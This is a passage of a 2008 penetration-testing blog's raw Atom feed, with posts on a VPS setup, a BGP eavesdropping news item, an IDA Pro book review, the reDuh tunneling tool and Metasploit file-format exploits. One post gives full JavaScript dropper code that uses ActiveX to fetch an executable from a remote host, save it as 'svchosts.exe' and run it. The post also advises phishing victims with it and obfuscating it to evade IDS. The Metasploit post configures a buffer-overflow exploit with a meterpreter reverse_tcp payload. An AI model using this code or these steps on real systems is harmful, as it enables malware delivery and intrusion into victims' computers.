/&gt;&lt;br /&gt;Arch 2007.08&lt;br /&gt;CentOS 5.2&lt;br /&gt;Debian 4.0 (etch)&lt;br /&gt;Fedora 9&lt;br /&gt;Gentoo 2008.0&lt;br /&gt;Ubuntu 7.10 (gutsy)&lt;br /&gt;Ubuntu 8.04.1 LTS (hardy)&lt;br /&gt;&lt;br /&gt;My Ubuntu install was only about half a gig, so I had plenty of space for the carnal0wnage site even though the blog really takes all the traffic.  I'm not going to do a lockdown guide, there are so many on the net, but you basically SSH in (also has a &lt;a href="http://www.slicehost.com/articles/2006/9/18/ajax-console-for-your-slice"&gt;web console&lt;/a&gt; if you get locked out) and start "apt-getting" what you need to set up your box they way &lt;span style="font-weight: bold;"&gt;YOU&lt;/span&gt; want it.  You also have full reboot privileges or if you really hose up your install you can just reformat.&lt;br /&gt;&lt;br /&gt;Things I did:&lt;br /&gt;&lt;br /&gt;installed stuff I probably don't need :-)&lt;br /&gt;locked down sshd&lt;br /&gt;installed apache2 and modsecurity&lt;br /&gt;configured DNS for web and google mail&lt;br /&gt;installed and configured denyhosts&lt;br /&gt;started tweaking iptables rules&lt;br /&gt;&lt;br /&gt;You can't beat 20 bucks a month for an IP and root on your own box ;-)&lt;br /&gt;&lt;br /&gt;They also have an API so you can script management and status tasks&lt;br /&gt;&lt;a href="http://articles.slicehost.com/2008/5/13/slicemanager-api-documentation"&gt;http://articles.slicehost.com/2008/5/13/slicemanager-api-documentation&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Extra Help&lt;br /&gt;&lt;a href="http://cactuswax.net/articles/slicehost-configuration/"&gt;http://cactuswax.net/articles/slicehost-configuration/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.usefuljaja.com/2007/4/setting-up-your-domain"&gt;http://www.usefuljaja.com/2007/4/setting-up-your-domain&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.vinno.net/linux/server/how-to-install-mod-security-2"&gt;http://www.vinno.net/linux/server/how-to-install-mod-security-2&lt;/a&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=Zhh4Dr"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=Zhh4Dr" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/8479815633679645913/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8479815633679645913" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/8479815633679645913?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/8479815633679645913" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/setting-up-my-slice-from-slicehost.html" title="Setting up my &quot;slice&quot; from slicehost" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;CUIHRno8eyp7ImA9WxdaGEo.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-8428743728097122134</id><published>2008-08-27T17:30:00.005-04:00</published><updated>2008-08-27T17:45:37.473-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-27T17:45:37.473-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="client side attacks" /><title>Owning the Client without an Exploit</title><content type="html">So after a long hiatus of no posts I figured it was time to step up and post something that may be of interest to pentesters. In the spirit of continuity to some previous posts about client-side attacks and as a follow up to some discussions that Chris and I have been having, this post will be about Client-side Ownage.&lt;br /&gt;&lt;br /&gt;It's nothing groundbreaking but may have a place in your arsenal of tools and attack vectors. What do you do when all those cool client-side attacks in Metasploit fail? Damn those companies that patch 3rd party products. As shown in the previous posts it's still possible to gather a great deal of information about the remote user, host and network using PHP and some Java but what do you do when you need a foothold on that host to pivot further into the network?&lt;br /&gt;&lt;br /&gt;Enter the Dropper. Using JavaScript and Microsoft's XMLHTTPRequest Object it is possible to download and run your backdoor with just a little interaction from the victim. The XMLHTTPRequest Object, a core component of AJAX, provides support for client-side communication with a HTTP server. A user can make use of the XMLHTTP Object to send a request and have the XML DOM parse that request. Great if you have data such as XML that you need to parse and display on a page for example.&lt;br /&gt;&lt;br /&gt;What about requesting another file type like, oh I don't know, an exe? This might have some value. :) Lets take a look at a JavaScript function to do just that.&lt;br /&gt;&lt;br /&gt;First we need to create our object elements and the required attributes needed to download and execute the file we want:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;function dropper() {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;var x = document.createElement('object');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;    x.setAttribute('id','x');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;    x.setAttribute('classid','clsid:D96C556-65A3-11D0-983A-00C04FC29E36');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;    try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;        var obj = x.CreateObject('msxml2.XMLHTTP','');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;        var app = x.CreateObject('Shell.Application','');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;        var str = x.CreateObject('ADODB.stream','');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We use document.createElement to create an element and use it in conjunction with setAttribute to modify the attributes of each new element. The classid in use is a Remote Data Service object. It allows the execution of code from a remote source. Search your registry and you'll see that it is assigned to RDS.DataSpace, a non-visual ActiveX control, which handles remote data connections. This function is part of Microsoft's MDAC.&lt;br /&gt;&lt;br /&gt;We create our msxml2.XMLHTTP object which will handle communication with the web server that is hosting our executable.&lt;br /&gt;&lt;br /&gt;Then we use the Object element to instantiate a Shell Object which is identified by the CLASSID.&lt;br /&gt;&lt;br /&gt;The ADODB.Stream object in ActiveX, which contains methods to manage a stream of binary data or text, is used to handle the storing and saving of the data to a file.&lt;br /&gt;&lt;br /&gt;Now let's grab the file, install it to a directory of our choice and run it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;        try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            str.type = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            obj.open('GET','http://coolsite.com//innocent.exe',false);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            obj.send();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            str.open();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            str.Write(obj.responseBody);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            var path = './/..//svchosts.exe';&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            str.SaveToFile(path,2);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;            str.Close();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;        }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;        catch(e) {}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First we use the Type property to set the type of data in the stream object. 1 is for Binary.&lt;br /&gt;&lt;br /&gt;Next we use the XMLHTTPRequest Open Method intialize an MSXML2.XMLHTTP request in which we specify the retrieval method, URL and authentication information if any. The XMLHTTPRequest Send Method allows us to send the HTTP request to the server.&lt;br /&gt;&lt;br /&gt;The ADODB.stream Open Method is used to create and open a Stream opject. The ADODB.stream Write Method is used to write the binary data to a binary Stream object. After specifying the path we now use the ADODB.stream SaveToFile method is used to save contents of our open Stream object to a local file of our choosing. In this case we use am option value of 2 that overwrites the file if it already exists. We then close the object.&lt;br /&gt;&lt;br /&gt;The next step is to use our Shell Object to execute our newly downloaded executable using the shellexecute function.&lt;br /&gt;&lt;br /&gt;  &lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt; try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;        app.shellexecute(path);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;    catch(e) {}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;catch(e) {}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Place this code in a webpage either directly or through an include, create a good phishing email (see other posts) and send it off to your victims. Before anyone makes mention that this requires ActiveX to run remember that enough users will allow ActiveX controls to be run for it to be useful. On I.E. 6 this should perform a silent download and on I.E. 7 it will prompt the user.&lt;br /&gt;&lt;br /&gt;You can add additional code to the page to check the browser version and prompt the user to either change to IE or have a direct link to the file for the user to click and run. Remember it just takes one user that follows the link to give you access.&lt;br /&gt;&lt;br /&gt;One other thing to consider is IDS/IPS evasion. The code above will likely get flagged by an IDS in the form it is now. Look at JavaScript obfuscation techniques such as 'string-splitting', arguments.callee() and other methods to evade the IDS or just hide your code.&lt;br /&gt;&lt;br /&gt;Variants of this method we have just discussed are actually widely used by malware authors on their sites to drop files onto users systems. Have a look at the next spam email you get and decode the JavaScript on the page.&lt;br /&gt;&lt;br /&gt;Cheers,
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=wQ3UPl"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=wQ3UPl" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/8428743728097122134/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8428743728097122134" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/8428743728097122134?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/8428743728097122134" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/owning-client-without-and-exploit.html" title="Owning the Client without an Exploit" /><author><name>dean de beer</name><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;AkYBSHk5eip7ImA9WxdaGE4.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-6613374200815830827</id><published>2008-08-26T21:43:00.004-04:00</published><updated>2008-08-27T07:55:59.722-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-27T07:55:59.722-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="news" /><title>BGP Eavesdropping</title><content type="html">&lt;p&gt;From Wired:&lt;/p&gt;&lt;p&gt; Two security researchers have demonstrated a new technique to stealthily intercept internet traffic on a scale previously presumed to be unavailable to anyone outside of intelligence agencies like the National Security Agency. &lt;/p&gt;  &lt;p&gt;The tactic exploits the internet routing protocol BGP (Border Gateway Protocol) to let an attacker surreptitiously monitor unencrypted internet traffic anywhere in the world, and even modify it before it reaches its destination.&lt;/p&gt;&lt;p&gt;  The man-in-the-middle attack exploits BGP to fool routers into re-directing data to an eavesdropper's network.&lt;/p&gt;  &lt;p&gt;  Anyone with a BGP router (ISPs, large corporations or anyone with space at a carrier hotel) could intercept data headed to a target IP address or group of addresses. The attack intercepts only traffic headed &lt;em&gt;to&lt;/em&gt; target addresses, not from them, and it can't always vacuum in traffic within a network -- say, from one AT&amp;amp;T customer to another.&lt;/p&gt;  &lt;p&gt; The method conceivably could be used for corporate espionage, nation-state spying or even by intelligence agencies looking to mine internet data without needing the cooperation of ISPs.&lt;/p&gt;&lt;p&gt;&lt;a href="http://blog.wired.com/27bstroke6/2008/08/revealed-the-in.html"&gt;http://blog.wired.com/27bstroke6/2008/08/revealed-the-in.html&lt;/a&gt;&lt;/p&gt;2nd post on it&lt;a href="http://blog.wired.com/27bstroke6/2008/08/how-to-intercep.html"&gt;&lt;br /&gt;http://blog.wired.com/27bstroke6/2008/08/how-to-intercep.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;slides from Defcon: &lt;a href="https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-pilosov-kapela.pdf"&gt;https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-pilosov-kapela.pdf&lt;/a&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=XO6S0Z"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=XO6S0Z" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/6613374200815830827/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=6613374200815830827" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/6613374200815830827?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/6613374200815830827" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/bgp-eavesdropping.html" title="BGP Eavesdropping" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;DEMCSXs8fip7ImA9WxdaF0o.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-2892116919415156090</id><published>2008-08-26T14:46:00.001-04:00</published><updated>2008-08-26T14:47:48.576-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-26T14:47:48.576-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ida pro" /><category scheme="http://www.blogger.com/atom/ns#" term="Book Reviews" /><category scheme="http://www.blogger.com/atom/ns#" term="chris eagle" /><title>Book Review: The IDA Pro Book</title><content type="html">I was able to pick up a pre-released copy of The IDA Pro book at Defcon in the vendor area, thanks to Adam from No Starch. This book is not an introduction to reverse engineering, its a hard core manual for IDA Pro. IDA Pro is a critical weapon in any reverser's arsenal, so proficiency in this tool is paramount to your success in reverse engineering. If you are new to IDA Pro you need this book, even if you've been working with IDA for a while you will more than likely learn quite a few things after reading it. Unlike the two other books I've read on IDA Pro this book has no fluff or filler, its solid information! The funny thing when comparing it to the other two IDA books is its thicker than both combined, and contains an exponentially larger amount of information.&lt;br /&gt;&lt;br /&gt;The author takes time to explain things in a very clear manner as you walk through from an introduction to the tool to more advanced usage such as customizing, extending IDA, debugging, and dealing with obfuscated code. The author answered questions I had been spent weeks asking and searching the Internet for.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Likes:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Just about everything. The author walks you through plenty of code and discusses scenarios where you could apply the information he is giving you. The fact that he took his time to elaborate on why, and when you might use a piece of information is unlike many authors whom will give you information and leave the reader wondering "What would I use that for".&lt;br /&gt;&lt;br /&gt;This book does not just talk about Win32 and Portable Executable format, ELF binaries have a continual guest appearance throughout the book, and firmware/binaries are mentioned in numerous chapters.&lt;br /&gt;&lt;br /&gt;Side bar elaboration is kept to a minimum, I often find in texts that an author will go on about background information that does not add anything significant to what I am reading. Chris Eagle keeps this to a minimum adding small side bars when necessary but only take up a small amount of real estate.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Dislikes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;My only dislike of this book was the use of PE format as the example in chapter 18 – Binary Files and Ida Loader modules. Despite the use of a well known format chosen for this example the concepts were clearly displayed. I think it would have made it more interesting if the author had used a lesser known format, or do as the author of "Reversing, Secrets of Reverse Engineers" did and create his own binary.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-&lt;a href="http://hamsterswheel.com/blog"&gt;Phn1x&lt;/a&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=Mrj1KR"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=Mrj1KR" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/2892116919415156090/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2892116919415156090" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/2892116919415156090?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/2892116919415156090" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/book-review-ida-pro-book.html" title="Book Review: The IDA Pro Book" /><author><name>E. Hulse</name><uri>http://www.blogger.com/profile/02913288249974429332</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;Dk8EQXkycCp7ImA9WxdaF0g.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-5550424435136256018</id><published>2008-08-26T08:39:00.006-04:00</published><updated>2008-08-26T08:46:40.798-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-26T08:46:40.798-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="sensepost" /><title>Senspost reDuh released</title><content type="html">Finally!&lt;br /&gt;&lt;br /&gt;I've  been waiting to play with this tool since the presentation at Defcon.  Tunneling TCP through well formed HTTP which decodes it on the other end back into TCP is a pretty handy option.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;"What Does reDuh Do?&lt;/b&gt;&lt;br /&gt;reDuh is actually a tool that can be used to create a TCP circuit through validly formed HTTP requests.&lt;br /&gt;&lt;br /&gt;Essentially this means that if we can upload a JSP/PHP/ASP page on a server, we can connect to hosts behind that server trivially"&lt;p&gt;&lt;/p&gt;Here's the link(s).&lt;br /&gt;&lt;a href="http://www.sensepost.com/blog/2399.html"&gt;http://www.sensepost.com/blog/2399.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sensepost.com/research/reDuh/"&gt;http://www.sensepost.com/research/reDuh/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;expect some more info soon.
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=qYFNwT"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=qYFNwT" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/5550424435136256018/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5550424435136256018" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/5550424435136256018?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/5550424435136256018" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/senspost-reduh-released.html" title="Senspost reDuh released" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;DUYNQHc5eCp7ImA9WxdaFUk.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-5335293163161978932</id><published>2008-08-23T22:25:00.006-04:00</published><updated>2008-08-23T23:06:31.920-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-23T23:06:31.920-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="client side attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="Metasploit" /><title>Metasploit and File Format Bugs</title><content type="html">Client-side attacks are where its at and being able to send a legitimate looking file to a user to do their double-clicky thing on is the bomb.&lt;br /&gt;&lt;br /&gt;MC has released a FileFormat mixin for metasploit which allows you to exploit fun bugs like 08-011 and other bugs that involve a user opening some sort of attachment.&lt;br /&gt;&lt;br /&gt;Here is the link the fileformat mixin&lt;br /&gt;&lt;a href="http://www.metasploit.com/users/mc/rand/fileformat.rb"&gt;http://www.metasploit.com/users/mc/rand/fileformat.rb&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To use it, you need to add:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;require 'msf/core/exploit/fileformat'&lt;/span&gt; to &lt;span style="font-style: italic;"&gt;msf3/lib/msf/core/exploit.r&lt;/span&gt;b&lt;br /&gt;&lt;br /&gt;and stick &lt;span style="font-style: italic;"&gt;fileformat.rb&lt;/span&gt; in the &lt;span style="font-style: italic;"&gt;msf3/lib/msf/core/exploit/ &lt;/span&gt;directory&lt;br /&gt;&lt;br /&gt;Now remembering my &lt;a href="http://carnal0wnage.blogspot.com/2008/07/adding-your-own-exploits-in-metasploit.html"&gt;previous post&lt;/a&gt; on adding exploits to metasploit we can do the same for mixins.&lt;br /&gt;&lt;br /&gt;so my exploit.rb file actually said:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;require '/home/cg/.msf3/lib/msf/core/exploit/fileformat'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And don't worry, if you jacked something up Metasploit will let you know.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;cg@WPAD:~/evil/msf3$ ./msfconsole &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;./lib/msf/core/exploit.rb:241:in `require': no such file to load --&lt;br /&gt;/home/cg/.msf3/lib/msf/core/exploit/fileformat (LoadError)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For our example we'll use a vulnerability in the ActiveX control for eTrust PestScan&lt;a href="http://www.metasploit.com/users/mc/rand/etrust_pestscan.rb"&gt;&lt;br /&gt;http://www.metasploit.com/users/mc/rand/etrust_pestscan.rb&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From the description in the module:&lt;br /&gt;&lt;br /&gt;This module exploits a stack overflow in CA eTrust PestPatrol. When sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9) an attacker may be able to execute arbitrary code. This control is not marked safe for scripting, so choose your attack vector accordingly.&lt;br /&gt;&lt;br /&gt;Example Time!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;msf &gt; use exploit/windows/fileformat/etrust_pestscan &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;msf exploit(etrust_pestscan) &gt; info&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       Name: CA eTrust PestPatrol ActiveX Control Buffer Overflow&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Version: $Revision:$&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Platform: Windows&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Privileged: No&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;License: Metasploit Framework License&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Provided by:&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;MC &lt;y0@w00t-shell.net&gt;&lt;/y0@w00t-shell.net&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Available targets:&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Id  Name                                                        &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;--  ----                                                         &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;0   Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Basic options:&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Name      Current Setting  Required  Description     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;----      ---------------  --------  -----------     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;FILENAME  MSF              no        The file name.  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Payload information:&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Space: 1024&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Avoid: 1 characters&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Description:&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;This module exploits a stack overflow in CA eTrust PestPatrol. When &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;sending an overly long string to the Initialize() property of &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;ppctl.dll (5.6.7.9) an attacker may be able to execute arbitrary &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;code. This control is not marked safe for scripting, so choose your &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;attack vector accordingly.&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;http://www.w00t-shell.net/#&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  http://www.my-etrust.com/Extern/RoadRunner/PestScan/scan.htm&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;msf exploit(etrust_pestscan) &gt; show options&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Module options:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   Name      Current Setting  Required  Description     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;----      ---------------  --------  -----------     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;FILENAME  MSF              no        The file name.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Exploit target:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Id  Name                                                        &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;--  ----                                                        &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;0   Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;msf exploit(etrust_pestscan) &gt; set FILENAME DEMO.html&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;FILENAME =&gt; DEMO.html&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;msf exploit(etrust_pestscan) &gt; set PAYLOAD windows/meterpreter/reverse_tcp &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;PAYLOAD =&gt; windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;msf exploit(etrust_pestscan) &gt; set LHOST 192.168.0.101&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;LHOST =&gt; 192.168.0.101&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;msf exploit(etrust_pestscan) &gt; show options&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Module options:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Name      Current Setting  Required  Description     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;----      ---------------  --------  -----------     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;FILENAME  DEMO.html             no        The file name.  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Payload options (windows/meterpreter/reverse_tcp):&lt;/span&gt;&lt;br 